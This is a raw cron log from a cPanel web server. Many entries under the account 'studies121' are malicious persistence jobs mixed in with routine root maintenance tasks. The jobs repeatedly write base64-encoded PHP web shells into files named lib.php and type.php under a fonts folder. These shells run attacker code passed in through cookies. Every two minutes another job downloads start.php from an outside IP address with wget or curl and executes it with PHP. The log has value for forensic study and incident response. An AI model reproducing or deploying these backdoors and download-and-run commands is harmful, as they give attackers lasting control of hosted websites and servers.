Sep 12 11:45:01 ip-184-168-122-23 CROND[19385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:45:01 ip-184-168-122-23 CROND[19389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:45:01 ip-184-168-122-23 CROND[19387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:45:01 ip-184-168-122-23 CROND[19386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:46:01 ip-184-168-122-23 CROND[19491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:46:01 ip-184-168-122-23 CROND[19493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:46:01 ip-184-168-122-23 CROND[19495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:46:01 ip-184-168-122-23 CROND[19496]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 11:46:01 ip-184-168-122-23 CROND[19499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:46:01 ip-184-168-122-23 CROND[19497]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:46:01 ip-184-168-122-23 CROND[19501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:47:01 ip-184-168-122-23 CROND[19589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:47:01 ip-184-168-122-23 CROND[19587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:47:01 ip-184-168-122-23 CROND[19588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:47:01 ip-184-168-122-23 CROND[19590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:48:01 ip-184-168-122-23 CROND[19761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:48:01 ip-184-168-122-23 CROND[19763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:48:01 ip-184-168-122-23 CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:48:01 ip-184-168-122-23 CROND[19764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:48:01 ip-184-168-122-23 CROND[19765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:49:01 ip-184-168-122-23 CROND[19851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:49:01 ip-184-168-122-23 CROND[19853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:49:01 ip-184-168-122-23 CROND[19854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:49:01 ip-184-168-122-23 CROND[19855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19952]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:50:01 ip-184-168-122-23 CROND[19956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:50:01 ip-184-168-122-23 CROND[19965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19963]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:50:01 ip-184-168-122-23 CROND[19968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:51:01 ip-184-168-122-23 CROND[20088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:51:01 ip-184-168-122-23 CROND[20089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:51:01 ip-184-168-122-23 CROND[20093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:51:01 ip-184-168-122-23 CROND[20091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:52:01 ip-184-168-122-23 CROND[20187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:52:01 ip-184-168-122-23 CROND[20189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:52:02 ip-184-168-122-23 CROND[20190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:52:02 ip-184-168-122-23 CROND[20191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:52:02 ip-184-168-122-23 CROND[20192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:53:01 ip-184-168-122-23 CROND[20355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:53:01 ip-184-168-122-23 CROND[20357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:53:01 ip-184-168-122-23 CROND[20356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:53:01 ip-184-168-122-23 CROND[20359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:54:01 ip-184-168-122-23 CROND[20462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:54:01 ip-184-168-122-23 CROND[20464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:54:02 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:54:02 ip-184-168-122-23 CROND[20467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:54:02 ip-184-168-122-23 CROND[20465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:55:01 ip-184-168-122-23 CROND[20554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:55:01 ip-184-168-122-23 CROND[20558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:55:01 ip-184-168-122-23 CROND[20556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:55:01 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:55:01 ip-184-168-122-23 CROND[20559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:55:01 ip-184-168-122-23 CROND[20560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:56:01 ip-184-168-122-23 CROND[20648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:56:01 ip-184-168-122-23 CROND[20650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:56:01 ip-184-168-122-23 CROND[20651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:56:01 ip-184-168-122-23 CROND[20655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:56:01 ip-184-168-122-23 CROND[20654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:57:01 ip-184-168-122-23 CROND[20757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:57:01 ip-184-168-122-23 CROND[20760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
